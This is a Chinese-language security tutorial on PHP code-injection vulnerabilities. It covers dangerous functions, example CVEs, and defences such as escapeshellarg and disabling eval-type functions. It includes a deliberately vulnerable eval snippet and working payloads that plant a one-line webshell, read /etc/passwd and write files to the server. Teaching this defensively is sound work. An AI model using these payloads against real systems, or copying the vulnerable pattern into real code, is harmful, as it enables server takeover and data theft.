代碼執行漏洞原理
當應用在調用一些能將字符串轉化成代碼的函數時,沒有考慮用戶是否能夠控制這個字符串,將造成代碼注入漏洞。
簡述代碼執行漏洞:
PHP代碼執行漏洞可以將代碼注入到應用中,最終到webserver去執行。該漏洞主要存在於eval()、assert()、preg_replace()、call_user_func()、array_map()以及動態函數中。
常見的代碼執行漏洞危險函數:
在php中:eval,assert,preg_replace('/*/e',$ret="\\1";',$data);(PHP版本<5.5.0)
在asp中:eval,exevute.executeglobal
在jsp中:jsp中沒有php中的eval函數,但是可以使用反射機制,使用基於反射機制的表達式引擎,如0GNL,SpEL,MVEL等
漏洞分類:
1.代碼層過濾不嚴:
商業應用的一些核心代碼封裝在二進制文件中,在web應用中通過system函來調用:
system("/bin/program --arg$arg");
2.系統的漏洞造成命令注入:
bash破殼漏洞(CVE-2014-6271)
3.調用的第三方組件存在代碼執行漏洞:
如WordPress中用來處理圖片的ImageMagick組件
JAVA中的命令執行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令執行
代碼執行漏洞危害
- 執行任意代碼
- 向網站寫WebShell
- 控制整個網站甚至服務器
簡單的代碼執行實例:
簡單的代碼執行
代碼如下:
1 <?php 2 $data=$_GET['data']; 3 eval("\$ret=strtolower(\"$data\");"); 4 echo $ret; 5 ?>
構造利用
其他可利用方式
{${@eval($_POST[1])}} 一句話
{${exit(print(getcwd()))}} 獲取當前工作路徑
{${exit(var_dump(file_get_contents($_POST[f])))}}
讀文件 f=/etc/passwd
{${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}}
寫webshell f=1.php&d=1111111
代碼執行漏洞防御:
盡量少用執行命令的函數或者直接禁用
參數值盡量使用引號包括
在使用動態函數之前,確保使用的函數是指定的函數之一
在進入執行命令的函數/方法之前,對參數進行過濾,對敏感字符進行轉義
能使用腳本解決的工作,不要調用其他程序處理。盡量少用執行命令的函數,並在disable_functions中禁用
對於可控點是程序參數的情況下,使用escapeshellcmd函數進行過濾,對於可控點是程序參數值的情況下,使用escapeshellarg函數進行過濾
參數的值盡量使用引號包裹,並在拼接前調用addslashes進行轉義
而針對由特定第三方組件引發的漏洞,我們要做的就是及時打補丁,修改安裝時的默認配置。- 對於eval( )函數一定要保證用戶不能輕易接觸eval的參數或者用正則嚴格判斷輸入的數據格式。
- 對於preg_replace放棄使用e修飾符。如果必須要用e修飾符,請保證第二個參數中,對於正則匹配出的對象,用單引號包裹 。